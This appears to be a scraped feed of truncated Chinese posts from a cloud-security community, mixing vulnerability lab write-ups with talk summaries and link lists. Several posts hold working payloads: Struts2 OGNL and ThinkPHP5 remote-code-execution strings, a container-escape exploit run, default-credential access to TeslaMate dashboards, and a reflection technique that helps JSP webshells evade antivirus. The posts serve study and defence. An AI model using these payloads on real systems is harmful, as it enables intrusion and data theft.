漏洞原理:该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
docker打开环境
对漏洞进行测试,首先在输入框输入%{1+1},点击登陆,我们可以看到我们提交的%{1+1}触发了错误,然后被解析成了2,说明漏洞存在
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
尝试获取Web路径。结果如下:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.di
2022年6月6日 22:32火线zone
ThinkPHP3.x注入漏洞分析
exp表达式报错注入
此漏洞是由exp引起的报错注入,我们在控制器中写入一个段传参代码
// $username = I("username"); $username = $_GET["username"]; $data = M("user")-> where(array("username"=>$username))->find(); dump($data);
这里的控制路由是http://www.myapp.com/index.php/home/index?username=admin,正常访问
当我们这里写入不规范的时候,就会造成报错注入。我们下面使用断点调试来进行演示。
分析内核语句执行过程
上面写的代码可以看到,我们是以where进行赋值的。
这个M用的就是model类,建了一个user_Think\Model
这里的where就是一个赋值
条件判断的,limit就是等于1
这里创建SQL语句。
到这里就是我们用的where了
这里是判断是否匹配正则表达式。
所有东西都是在这里进行过滤的。
这里SQL语句就执行出来了。
这里后面就是输出结果了。
protected function parseValue($value) { if(is_string($value)) { $value = strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\''; }elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){ $value = $this->escapeString($value[1]); }elseif(is_array($value)) { $value = array_map(array($this, 'parseValue'),$value); }elseif(is_bool($value)){ $value = $value ? '1' : '0'; }elseif(is_null($value)){ $value = 'null'; } 
2022年6月6日 19:32火线zone
0x00 前言
本文将以阿里云为例,对云服务中的一些攻防手法进行演示,首先利用 Terraform 进行 ECS SSRF 漏洞环境的搭建,然后通过实例中存在的 SSRF 漏洞一步步拿下该云服务账户的所有的阿里云服务权限。
0x01 环境搭建
本文采用 TerraformGoat 进行靶场的搭建,Terraform 靶场地址:https://github.com/HuoCorp/TerraformGoat
在部署靶场时,需要用到你的阿里云 AccessKey,为了避免影响到你的云上生产环境,因此这里强烈建议使用非生产环境的 AccessKey,不要和生产环境使用同一个账号。
接下来开始搭建靶场,首先克隆靶场项目到本地,并构建下载靶场所需的依赖。
git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1 cd TerraformGoat docker build . -t terraformgoat:v0.0.3 docker run -itd --name terraformgoat terraformgoat:v0.0.3 docker exec -it terraformgoat /bin/bash
如果 github 访问较慢,可以给终端挂上代理
proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url
在进入容器后,容器会提示选择接下来要使用的云服务提供商,这里以阿里云服务为例,输入 2 选择阿里云后回车。
进入到阿里云 ECS SSRF 靶场路径下,并配置你的 AccessKey
cd /TerraformGoat/aliyun/ecs/ecs_ssrf/ aliyun configure
部署 SSRF 靶场
terraform init terraform apply
如果 init 初始化比较慢,挂上代理即可
在 apply 期间,会提示 Enter a value,这时输入 yes 回车即可。
在 Outputs 处,可以看到返回的靶场地址,访问这个地址,可以看到 SSRF 测试靶场页面,这时就说明环境搭建完了。
0x02 环境利用
2022年6月6日 18:02火线zone
火线Zone社区
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。
欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
投稿方式
进入火线Zone 【https://zone.huoxian.cn/】 点击左上方 #发布主题#-> 在文章开头选择#添加标签#
文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
文章稿件支持Markdown格式
投稿要求
原创文章:
以云安全、云原生、容器、微服务、DevOps、Kubernetes、企业最佳实践相关主题为主;渗透测试、红蓝对抗、漏洞分析等可根据文章内容质量审核奖励。
要求:具备原创性,内容具备深度和可读性,文章内容质量高,观点新颖。
分类:请添加官方标签#原创文章#,否则不计入奖励。
翻译文章:
以高质量国外云安全相关主题为主。
要求:文章技术含量高,语句通顺无技术词汇翻译错误,拒绝不经过思考的机器翻译,文章开头或结尾必须备注文章原链接。
分类:请添加官方标签#翻译文章#,否则不计入奖励。
投稿奖励
针对被设为精华的原创文章,给予现金奖励300-500元,同时可获得相应数量的查克拉,视文章类型和质量上下浮动。// 首次被评为精华的原创作者,可获得火线玩偶一个,请联系火线小助手。
针对原创文章,点赞≥10,给予奖励200-500查克拉。
针对被设为精华的翻译文章,给予奖励300-600查克拉,视文章类型和质量上下浮动。
针对翻译文章,点赞≥10,给予奖励200查克拉。
投稿评分标准
文章的深度及广度
文章的完整性和可读性
文章阅读量及优质点赞评论数量
(以5分满分为标准,评分由火线审核进行确认)
奖励发放说明
符合文章激励的内容将会对外发表在【火线Zone】公众号上。
火线Zone中的查克拉奖励不包含Rank奖励,Rank的获取目前只能通过提交有效漏洞获取。
所有奖励每周一进行结算(即本周奖励结算上周的文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#。
无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
2022年6月6日 17:32火线zone
CVE-2022-23126
详情:https://medium.com/@david_colombo/how-i-got-access-to-25-teslas-around-the-world-by-accident-and-curiosity-8b9ef040a028
2022年1月份,年轻黑客宣称远程控制了25 辆特斯拉
其实就是这个cve的来源,而真正的漏洞来自于https://github.com/adriankumpf/teslamate暴露在外网端口上
teslamate是Tesla 的功能强大的自托管数据记录器
特点:
通过Elixir编写
数据存储在Postgres数据库中
使用Grafana进行可视化和数据分析
车辆数据发布到本地MQTT Broker
先从作者的文章来看看这个漏洞的细节
信息泄露
访问dockerfile默认暴露的4000端口可以得到特斯拉地址信息
但因为使用了grafana,如果开启了匿名访问(即免登陆访问),且3000端口也暴露在公网,那么grafana就会泄露大量数据如:特斯拉去过的地方,充电的地方,当前位置,通常停放的地方,驾驶时间,旅行速度,导航请求,软件更新历史,甚至特斯拉周围的天气历史等等多得多。
Grafana
Grafana 是一个监控仪表系统,它是由 Grafana Labs 公司开源的的一个系统监测 (System Monitoring) 工具。它可以大大帮助你简化监控的复杂度,你只需要提供你需要监控的数据,它就可以帮你生成各种可视化仪表。同时它还有报警功能,可以在系统出现问题时通知你。
修复措施
也就是将默认开启的匿名访问关闭
进一步获取Tesla 用户API 密钥
grafana确实保存了 API 密钥,它还存储了所有其他数据。API 密钥既不单独存储也不加密。但需要Grafana Explore来运行自定义查询。这需要身份验证(经过测试,匿名访问不需要身份验证)。
然后就是利用默认密码(admin/admin)/弱口令来进行身份验证,然后得到查询权限
如何访问世界各地的随机特斯拉
在互联网范围内搜索 TeslaMate 实例(例如搜索 MQTT 代理)。
确保它们使用不安全的默认 Docker 配置运行(这应该现在已经修复,因为用户请尽快拉取最新版本)。
转到端口 3000 以访问 Grafana 仪表板。
使用默认凭据登录(当然只有在明确授权的
2022年6月6日 11:32火线zone
Kubernetes 时代的认证
https://zone.huoxian.cn/d/1232-kubernetes
Istio 1.14 发布
https://cloudnative.to/blog/istio-1-14-release/
使用 XDR 为云原生服务提供终端保护
https://containerjournal.com/features/endpoint-protection-for-cloud-native-workloads/
云计算安全的新阶段:云上风险发现与治理
https://mp.weixin.qq.com/s/sASdZQYmfQgKksmFB35kgg
如何构建云安全策略
https://securityboulevard.com/2022/06/how-to-build-a-cloud-security-strategy/
构建安全的基础设施即代码的一些方法
https://bridgecrew.io/blog/how-to-build-a-secure-iac-strategy/
K8s 的核心是 API 而非容器:从理论到 CRD 实践(2022)
https://arthurchiao.art/blog/k8s-is-about-apis-zh/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年6月2日 16:31火线zone
Kubernetes!似乎全世界都对这个新的软件部署平台感到兴奋。
Kubernetes 是一个可移植、可扩展的开源平台,用于管理容器化工作负载和服务,它促进了声明式配置和自动化。它拥有一个庞大且快速增长的生态系统。
哪些工作负载正迁移到 Kubernetes?
迁移到 Kubernetes 的工作负载有三种类型。
传统的单体应用可以利用运营优势,而不必重新架构应用本身的工作方式。
单一应用或向微服务架构发展的应用。
从本地或其他编排框架迁移的现有微服务。
在第一种情况下,认证基础设施可能不会改变。虽然你可以使用认证服务向你的应用添加单点登录,但更改不会是针对 Kubernetes。此外,为了最大限度地降低风险,你需要在考虑更改应用代码之前完成迁移。
但是,在后两种情况下,你需要确保用户和微服务的访问都得到适当的控制。在这些情况下,你需要考虑如何在基于 Kubernetes 的微服务架构的背景下实施认证和授权。
什么是Auth?
Auth 是认证和授权的组合,描述了谁在发出请求以及允许他们执行什么操作。通常情况下,Auth 还包括用户管理,即配置用户,然后可以对其进行认证和授权。
如上所述,Kubernetes 内置了大量复杂的功能,例如扩展和弹性。这是使用它的主要原因!
但 Auth 不是内置服务。你需要自己选择或构建服务来提供这个功能。在 Kubernetes 中,需要考虑多个级别的Auth。
基础设施认证
第一种认证控制对 Kubernetes 管理资源的访问。例如,控制谁可以启动 pod 或创建部署。
此功能定义明确,你可以使用各种不同的机制来实施访问控制。控制谁可以查看、删除和修改基础设施是相当重要的。
如果你使用 OpenID Connect (OIDC) 将此功能委托给一个独立的认证服务,那么要小心它在控制访问的 Kubernetes 集群中运行。(这是关于如何使用 OIDC 和 FusionAuth 设置此类 RBAC 的教程。)你不希望该服务不可用,然后无法管理你的集群。
避免这种命运的选择包括:
为这个关键基础设施运行一个单独的 Kubernetes 集群。
具有备用认证策略,例如用户名和密码。
为你的认证服务器使用 SaaS 解决方案。然而这可能会触犯网络访问限制。
应用认证
另一种类型的认证处于不同的抽象级别:应用层。也就是说,你的应用如何知道请求来自谁,以及用户或实体有权做什么?几乎所有
2022年6月2日 16:01火线zone
大家好,我是来自墨菲安全的欧阳强斌,主要是做软件供应链安全相关的一些技术研究,以及整个知识库的建设。今天给大家简单介绍一下软件供应链安全。

今天我们主要聊的话题会围绕以下这几个去展开:
为什么去聊软件供应链?
它面临什么样的安全威胁?
我们会面临什么样的挑战?
有什么样的解决方案以及一些实践

提到这个话题,其实它的背后是整个软件的发展,以及整个开源生态的发展,包括像云原生以及低代码这些新技术的发展,我们可以发现软件的开发越来越像是一个在搭积木的过程。这些积木,其实就是这些开源组件、开源软件。
有机构调研显示说,在2015年到2019年之间,整个开源代码在项目代码里面使用的占比是翻了一倍的,直到今天,它大概是到了78%的一个水平。

从右边的这一组数据来看,每个项目里面引入的开源组件可能会超过一百多个,这里面有28%都是有漏洞有缺陷的。同时呢,这些有漏洞的组件,它不止存在一个漏洞,平均是两个三个漏洞。这些开源的项目有63%存在开源许可证的侵权的风险的。所以我们可以看到,从软件供应链的生产到使用的整个链条,在过去两年都发生了非常多的安全事件。

从国家监管的层面来说,我们可以看到在最近两年,不管是中国还是美国,都出台了比较多的相关律法规,整个监管是越来越严格。

从整个威胁来看,我们会发现对于攻击者来说,去攻击一个通用软件,它的攻击性价比是很高的,因为它的杀伤面会非常大。
在去年有两个比较大的漏洞的事件,一个是十月份的时候,境外的黑市论坛有一些组织去卖中国的银行的一些代码和数据,还有去年12月的Log4j2的事件。其实这些漏洞的事件影响力还是非常大的。

从整个威胁来看,我们会发现对于攻击者来说,去攻击一个通用软件,它的攻击性价比是很高的,因为它的杀伤面会非常大。
在去年有两个比较大的漏洞的事件,一个是十月份的时候,境外的黑市论坛有一些组织去卖中国的银行的一些代码和数据,还有去年12月的Log4j2的事件。其实这些漏洞的事件影响力还是非常大的。

还有一类,关于这个开源许可证的侵权的问题,尤其是涉及到一些海外业务的公司需要注意。比如说GPL的开源许可证,它约定的是,如果你使用GPL许可证的代码修改了的话,你修改之后的项目,在发布的时候也是要提供相应的源代码,也就意味着,其实在商业使用上它会受到一定的限制。
接下来,我列举了两个标志性的案件,2019年,柚子公司抄袭了数字天堂的GPL开源许可证,然后被告侵权的案件。
2022年6月2日 13:31火线zone
《云原生安全技术规范》解读
https://zone.huoxian.cn/d/1226
挂载重写Cgroup devices.allow文件以访问设备进行逃逸
https://zone.huoxian.cn/d/1227-cgroup-devicesallow
RSA创新沙盒盘点|Lightspin——攻击者视角下的DevOps安全
https://mp.weixin.qq.com/s/i0oexGa86qdtqKAzG3WCmg
多云架构的利与弊
https://www.cncf.io/blog/2022/06/01/multi-cloud-architecture-pros-and-cons/
5 项策略帮助你构建一个更安全的云
https://www.tripwire.com/state-of-security/security-data-protection/cloud/building-more-secure-cloud-strategies/
网络安全网格:它是什么以及为什么你需要它
https://securityboulevard.com/2022/05/cybersecurity-mesh-what-it-is-and-why-you-need-it/
为什么云安全很重要,为什么你不能忽视它?
https://www.zdnet.com/article/why-cloud-security-matters-and-why-you-cant-ignore-it/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年6月2日 04:01火线zone
总结一下JSPwebshell免杀一些小技巧
反射改写免杀
这个很常见,可以将webshell中常见得类加载改成反射来调用,比如冰蝎和哥斯拉:
例子,哥斯拉中原有片段
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s);
改成反射以后:
String xo = "java"+"x.crypto.C"+"ipher"; Class cl = Class.forName(xo); java.lang.reflect.Method g = cl.getMethod("getInstance",String.class); Object c = cl.cast(g.invoke((null),"AE"+"S")); cl.getMethod("init",int.class,java.security.Key.class).invoke(c,m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return (byte[]) c.getClass().getMethod("doFinal",byte[].class).invoke(c,s);
上面 Object c = cl.cast(g.invoke((null),"AE"+"S"));这行强转的作用是利用多态,invoke函数返回的结果是Cipher对象,为了避免出现cipher关键字,仍然向上转一次变成object对象,不影响使用:

可以不转object,最后再用unicode之类的混淆类名也可以的
冰蝎的话改写也是一样,顺便说下:
这里原本默认冰蝎马init函数的参数是
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
而改为反射,写init函数需要的参数类型时候,是:
cp.getMethod("init",int.class,java.security.Key.class);
第二个参数写的是基类也就是SecretKeySpec这个类的基类java.s
2022年6月1日 21:01火线zone
ThinkPHP3.X信息泄露
如果网站开发者开启了DEBUG模式,未进行关闭的情况下,我们可以通过报错查看到他的网站物理路径泄露等信息的。又或者是开启了注入追踪的函数'SHOW_PAGE_TRACE'=>true,
日志泄露
如果ThinkPHP开启了DEBUG模式的情况下,会存在缓存日志文件,这种情况,可能是开发者开启了DEBUG模式,又或者开发过程中开启了DEBUG模式,但上线后未进行对缓存日志文件进行清除。
ThinkPHP3.2结构:\Application\Runtime\Logs\Home\22_05_24.log
ThinkPHP3.1结构:Runtime\Logs\Home\22_05_24.log
这里可以进行fuzz遍历日志文件泄露。
缓存泄露
当开发者使用快速缓存F函数的时候,会在\Application\Runtime\Data生成一个data.php文件,此时我们是可以直接访问此文件的。
快速缓存F函数
F("data","<?php phpinfo()?>");放置在控制器文件中,我们会发现\Application\Runtime\Data路径下已经生成了一个data.php文件。
数据缓存S函数
s("data","123456");将文件生成在\Application\Runtime\Temp路径下,生成md5加密文件名的php文件,此时也是可以进行猜解的。
ThinkPHP3.x指纹识别
/?c=4e5e5d7364f443e28fbf0d3ae744a59a或/4e5e5d7364f443e28fbf0d3ae744a59a
或者/ThinkPHP/logo.png
2022年6月1日 18:01火线zone
前言
继续学习容器逃逸漏洞,特权容器挂载cgroup,重写device.allow文件以访问设备进行容器逃逸。
漏洞介绍
devices子系统用于配制允许或者阻止cgroup中的task访问某个设备,起到黑白名单的作用,主要包含以下文件:
devices.allow:cgroup中的task能够访问的设备列表,格式为type major:minor access
devices.deny:cgroup 中任务不能访问的设备,和上面的格式相同
devices.list:列出 cgroup 中设备的黑名单和白名单
挂载重写当前容器内的 /sys/fs/cgroup/devices/devices.allow,逃逸特权容器访问宿主机内的文件。
漏洞利用
cdk关于该漏洞的exp
➜ /tmp docker run -it -v /tmp:/tmp --cap-add="SYS_ADMIN" near/neo4j-test bash # ./cdk run rewrite-cgroup-devices 2021/01/23 07:28:10 generate shell exploit: /tmp/rewrite-cgroup-devices-exp-dylqyn.sh Execute Shell:/tmp/rewrite-cgroup-devices-exp-dylqyn.sh finished with output: 2021/01/23 07:28:10 get /sys/fs/cgroup/devices/devices.allow inode id: 955171887 2021/01/23 07:28:10 find cgroup devices.allow file: /sys/fs/cgroup/cgneartest/docker/c254a346291562776f08fd135c267e64eef0f6908578a9eebd97274d543a865f/devices.allow 2021/01/23 07:28:10 get virtblk device ID: 252 2021/01/23 07:28:10 generate shell exploit: /tmp/device-mknod-cmezii.sh Execute Shell:/tmp/device-mknod-cmezii.sh 
2022年6月1日 16:31火线zone
我是来自于公安部第三研究所检测中心的陈妍。
非常高兴能和大家来一起分享CSA云安全联盟的一个标准,标准名字叫《云原生安全技术规范》,也是第一次对外跟大家分享该标准。

本次分享的内容分为四个部分
第一部分:云原生的基本概念
第二部分:云原生的安全问题
第三部分:云原生的安全框架
第四部分:云原生的安全建议


第一部分,先看云原生,它的英文缩写是Cloud+Native,是一个组合词,其中cloud就是我们的云。指的是说这个运用程序是运行在云计算环境中的。Native,它是一个原生的,或者是本来就是这样子的(含义),这个指的是说应用程序在设计之初,就已经充分考虑了云计算的弹性和分布式的特性。
所以,在云原生的架构下,现代的IT快速发展,并且迭代非常快,开发也需要非常的迅速,通过这样的云原生架构可以降低整个IT的成本。

2015年,云原生计算基金会成立。
基金会主要是在推动以容器为中心的云原生系统,它给出了目前被广泛接收的一个云原生的定义,定义是指云原生技术。它用在哪里?它是指有利于各组织在公有云,私有云和混合云等新型动态的一个环境中去构建以及运行可弹性扩展的应用。
其实要掌握云原生,需要了解容器,要了解服务网格,要了解微服务,要了解什么是不可变的基础设施以及声明式API,通过了解这些技术,会对云原生有比较深的了解。通过这样的一些技术,能够去构建容错性好,易于管理和便于观察的一个松耦合系统,结合可靠的一些自动化手段,云原生的技术让工程师也能够适应现代IT环境的快速迭代,以及敏捷开发的变化。

2013年,Pivotal公司首次提出了一个云原生的概念,当时提出这个概念是为了区分为云而设计的应用,以及云上部署的一个传统应用。
2017年,Pivotal公司在最新的官网上对云原生的概念进行了概括,主要是分为四个点,包括微服务,DevOpS,持续交付以及容器。
在微服务的架构下,应用的各个服务其实可以独立的去开发、部署、更新和扩容,这样更好地利用了云计算按需分配和弹性扩展的特性。其中的DevOps,就是让开发,测试和运维能够相互的融合,从而可以实现快速的编译、自动化的测试、部署、发布和回滚。它为微服务的架构提供了技术的支撑,而持续交付指的是说在DevOpS开发运维一体化的支撑下,能够去更快更敏捷地进行软件的开发、测试、部署和升级,从而实现持续地交付。
最后的一个容器,其实是一个轻量级的一个虚拟机,它和虚拟机不一样的是,它
2022年6月1日 15:31火线zone
前言
护网时平时遇到的针对weblogic等中间件漏洞利用以及扫描的很多,但是我看到某态势的流量的时候发现态势的探针的监测可能也不单单是基于披露的poc或者exp来产生的告警。
环境搭建
这里我使vulhub复现几个cve来分析流量,这里的目的主要是对比wireshark、科*分析软件和某商安全设备的全流量的数据包告警分析。
cd CVE-2020-14882 docker-compose up -d
docker ps
http://192.168.166.130:7001/console/login/LoginForm.jsp
分析
直接使用wireshark抓包是无法抓取不到数据包的,原因是nat模式下不走网卡,所以这里涉及到了tips就是添加路由
route add 192.168.166.130 mask 255.255.255.255 192.168.0.1
用完删除
route delete 192.168.166.130 mask 255.255.255.255 192.168.0.1
但是此时似乎是没有用的,因为我们在进行漏洞利s用的时候走的是http协议,传输层走的是tcp但是依旧是无法看到详细的流量数据。
设置虚拟机为桥接模式,再次尝试抓取流量
已成功获取到数据流量。使用命令查看对目标攻击的所有流量
ip.addr==192.168.0.120
追踪一下tcp流
直接追踪t3流量,因为weblogic使用的协议为T3,当然态势内的漏洞监测也是基于t3协议来告警触发的。
上面两部分的内容是客户端和服务端的信息
t3 7.0.0.0 AS:10 HL:19 HELO:12.2.1.3.false AS:2048 HL:19 MS:10000000 PN:DOMAIN
在使用paylaod的时候会给服务端发送请求,正常情况下我们能够找到的poc或者说exp的工作原理大部分都是基于版本来校验的
当然这里的环境版本为12.2.1.3.0
这里根据不通的流可以看出来。这一点儿的话其实可以根据python脚本的内容也能看出来校验机制,这一点儿跟很多厂商的漏扫的原理应该是一致的。
这里我执行了几条命令,来查看一下流量特征
whoami
ls
pwd
上传的shell.jsp文件做编码
!
序列化的部分就是在这一部分完成的
回头看一下某厂安全设备报警日志的流量
这里触发规则库的内容是由于探针监测到流量中存在序
2022年6月1日 13:01火线zone
Kubernetes 时代的身份认证
https://containerjournal.com/features/auth-in-the-age-of-kubernetes/
Shipa 模块暴露出 K8s 的安全和合规问题
https://containerjournal.com/features/shipa-module-surfaces-k8s-security-and-compliance-issues/
云安全的最佳实践
https://medium.com/@anilozturk/cloud-security-ve-best-practicesleri-96652c799d3e
如何在 K8s 中使用 Atomic Red Team 来测试Falco规则
https://sysdig.com/blog/atomic-red-team-falco/
云安全问题调查
https://threatpost.com/security-turbulence-in-the-cloud-survey-says/179437/
2022 云原生安全发展 24 个洞见
https://mp.weixin.qq.com/s/IHKgW-fj0C-ohlXCPlW_KQ
T Wiki 云安全知识库 5 月份更新汇总
https://mp.weixin.qq.com/s/AbSuuruKs_r7XKAbiLUdWQ
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月31日 14:01火线zone
Terraform 使用入门以及在云上攻防中的作用
https://zone.huoxian.cn/d/1218-terraform
火线沙龙第25期-云原生应用安全专场总结
https://zone.huoxian.cn/d/1220-25
Wiz Research 发现了 Azure PostgreSQL 的一个租户隔离绕过漏洞
https://www.wiz.io/blog/wiz-research-discovers-extrareplica-cross-account-database-vulnerability-in-azure-postgresql/
K8S常见组件配置不当利用记录
https://mp.weixin.qq.com/s/WA7Ivs6ULExwJcOH8tBICQ
一文解读 Linux 主线内核首个原生支持容器镜像分发方案
https://www.infoq.cn/article/r87UU5Po1rRojTGWCePo?utm_source=rss&utm_medium=article
到底什么是云原生
https://www.v2ex.com/t/856133
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月31日 09:31火线zone
thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新,一般也没有人再继续用,所以就不再做复现了,本篇文章主要介绍下thinkphp5、6的漏洞
Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞
漏洞成因:由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
影响版本:5.0<thinkphp<=5.0.22、5.1<thinkphp<=5.1.29
环境:vulhub
验证漏洞POC
http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
简单说一下POC:invokefunction调用call_user_func_array方法, call_user_func_array函数接受两个参数,第一个为函数名,第二个为函数参数数组,上面的意思是通过call_user_func_array函数调用system函数执行whoami命令。
此漏洞产生的关键原因在routeCheck函数中,关键代码如下
// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索 if (false === $result) { $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); } // var_dump($result['module']); return $result; }
上述代码中第3行的Route::parseUrl函数只是简单的将变量$path=index/think\app/invokefunction按斜杠符号'/'分组,并没有考虑符号反斜杠'\'的情况 ,result的值为如下所示:
$result = array[3] $result[0] = (string) index $result[1] = (string) think\app 
2022年5月30日 23:02火线zone
开启xdebug扩展
在php扩展中开启xdebug,然后Apache服务会重新启动,启动后,会在对应的php版本的配置文件中添加xdebug配置。我这里的php版本是7.3.4。
更改配置
在php.ini中,将xdebug.remote_enable=Off改为xdebug.remote_enable=On,添加xdebug.idekey=”PHPSTORM”,xdebug.idekey=”PHPSTORM”这是我们phpstrom使用的key。
配置PHPstorm
调试时间过长出现500
有时候在用xdebug调试程序时,由于调试时间过长,会出现500服务器错误的现象,根本原因在于apache默认连接时间过短导致的。
解决方法
打开apache配置文件,注释掉如下,并添加一行
# Various default settings Include conf/extra/httpd-default.conf 将注释去掉 Include conf/extra/httpd-fcgid.conf 添加此行
更改httpd-default.conf如下
# # This configuration file reflects default settings for Apache HTTP Server. # # You may change these, but chances are that you may not need to. # # # Timeout: The number of seconds before receives and sends time out. # Timeout 3600 # # KeepAlive: Whether or not to allow persistent connections (more than # one request per connection). Set to "Off" to deactivate. # KeepAlive On # # MaxKeepAliveRequests: The maximum number of requests to allow # during a persistent connection. Set to 0 to allow an unlimited amount. # We recommend you lea
2022年5月30日 18:02火线zone
在企业数字化转型发展和云原生环境中,企业安全威胁更加复杂,同时安全监管力度的加大也推动了应用安全行业的快速发展。因此,云原生的发展对应用安全检测提出了更多的技术要求,为适应企业云原生场景下更加复杂的应用安全问题,本次沙龙邀请到了云原生不同领域的研究专家,从不同视角剖析云原生应用安全的可见性。
@陈妍老师
分享议题:《云原生安全技术规范》解读
陈妍老师向大家介绍了云原生相关概念、主要存在问题,给出云原生安全框架,并最终对于、云原生给出安全建议。
@欧阳强斌老师
分享议题:《软件供应链安全威胁与业界解决方案》
随着软件及开源生态的发展,开源软件已经成为数字空间的基石。从Log4j2漏洞到node-ipc组件投毒,近年来自软件供应链安全威胁涌现,企业违反GPL许可证的案例也屡见不鲜。开源是更安全还是更不安全?
我们将分享来自软件供应链的典型安全威胁,要解决这些问题面临着哪些挑战,以及业界不同组织在试图解决这些安全威胁中作出的解决方案。
@曾垚老师
分享议题:《Serverless应用安全浅谈》
随着各大云厂商及CNCF生态中逐步推出FaaS Serverless相关技术,大服务提高应用软件的开发效率降低应用维护成本,希望可以通过本次议题帮助开发者了解Serverless技术使用过程中存在的诸多安全风险。
再次感谢几位老师的精彩分享,想要了解更多,扫描下方二维码,关注火线Zone公众号回复关键字“火线沙龙第25期”获取本次直播全部PPT,期待你的互动~
视频回放链接:
火线沙龙第25期——《云原生安全技术规范》解读
https://www.bilibili.com/video/BV1vt4y1p78A?spm_id_from=333.999.0.0
火线沙龙第25期——软件供应链安全威胁与业界解决方案
https://www.bilibili.com/video/BV1394y1S7wY?spm_id_from=333.999.0.0
火线沙龙第25期——Serverless应用安全浅谈
https://www.bilibili.com/video/BV1Jr4y1x7m8?spm_id_from=333.999.0.0
2022年5月30日 17:32火线zone
火线Zone社区
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。
欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
投稿方式
进入火线Zone 【https://zone.huoxian.cn/】 点击左上方 #发布主题#-> 在文章开头选择#添加标签#
文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
文章稿件支持Markdown格式
投稿要求
原创文章:
以云安全、云原生、容器、微服务、DevOps、Kubernetes、企业最佳实践相关主题为主;渗透测试、红蓝对抗、漏洞分析等可根据文章内容质量审核奖励。
要求:具备原创性,内容具备深度和可读性,文章内容质量高,观点新颖。
分类:请添加官方标签#原创文章#,否则不计入奖励。
翻译文章:
以高质量国外云安全相关主题为主。
要求:文章技术含量高,语句通顺无技术词汇翻译错误,拒绝不经过思考的机器翻译,文章开头或结尾必须备注文章原链接。
分类:请添加官方标签#翻译文章#,否则不计入奖励。
投稿奖励
针对被设为精华的原创文章,给予现金奖励300-500元,同时可获得相应数量的查克拉,视文章类型和质量上下浮动。// 首次被评为精华的原创作者,可获得火线玩偶一个,请联系火线小助手。
针对原创文章,点赞≥10,给予奖励200-500查克拉。
针对被设为精华的翻译文章,给予奖励300-600查克拉,视文章类型和质量上下浮动。
针对翻译文章,点赞≥10,给予奖励200查克拉。
投稿评分标准
文章的深度及广度
文章的完整性和可读性
文章阅读量及优质点赞评论数量
(以5分满分为标准,评分由火线审核进行确认)
奖励发放说明
符合文章激励的内容将会对外发表在【火线Zone】公众号上。
火线Zone中的查克拉奖励不包含Rank奖励,Rank的获取目前只能通过提交有效漏洞获取。
所有奖励每周一进行结算(即本周奖励结算上周的文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#。
无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
2022年5月30日 16:01火线zone
0x00 前言
Terraform 是一种资源编排工具,通过它可以很方便的去构建云服务资源,本文将以「在腾讯云上创建一个 COS 存储桶」为例进行演示。
0x01 Terraform 概述
Terraform 官方下载页面:https://www.terraform.io/downloads ,在这里找到自己的系统进行安装即可。
目前 Terraform 基本已经支持了大部分主流的云服务厂商,在 https://registry.terraform.io/browse/providers 中可以看到其所支持的云服务厂商。
本文中将使用腾讯云作为演示,在平时使用 Terraform 时会频繁的去参考官方文档,其腾讯云的官方文档地址为:https://registry.terraform.io/providers/tencentcloudstack/tencentcloud/latest/docs
0x02 开始编写
首先创建一个文件夹(这里文件夹名称为 cos_bucket_demo),并新建以下文件。
. └── cos_bucket_demo ├── README.md ├── main.tf ├── output.tf ├── terraform.tfvars ├── variables.tf └── version.tf
README.md 描述文件
main.tf Terraform 主体代码文件
output.tf 内容输出代码文件
terraform.tfvars 参数文件
variables.tf 变量声明文件
version.tf 版本信息文件
可以看到在 cos_bucket_demo 文件夹中,有多个 tf 后缀的文件,其实这些 tf 文件里的代码都可以写到一个 tf 文件里,但一般为了规范些,还是建议分多个 tf 文件去写,一个文件夹对应一个 tf 场景。
接下来,我们来看看每个 tf 文件里都有哪些内容。
version.tf
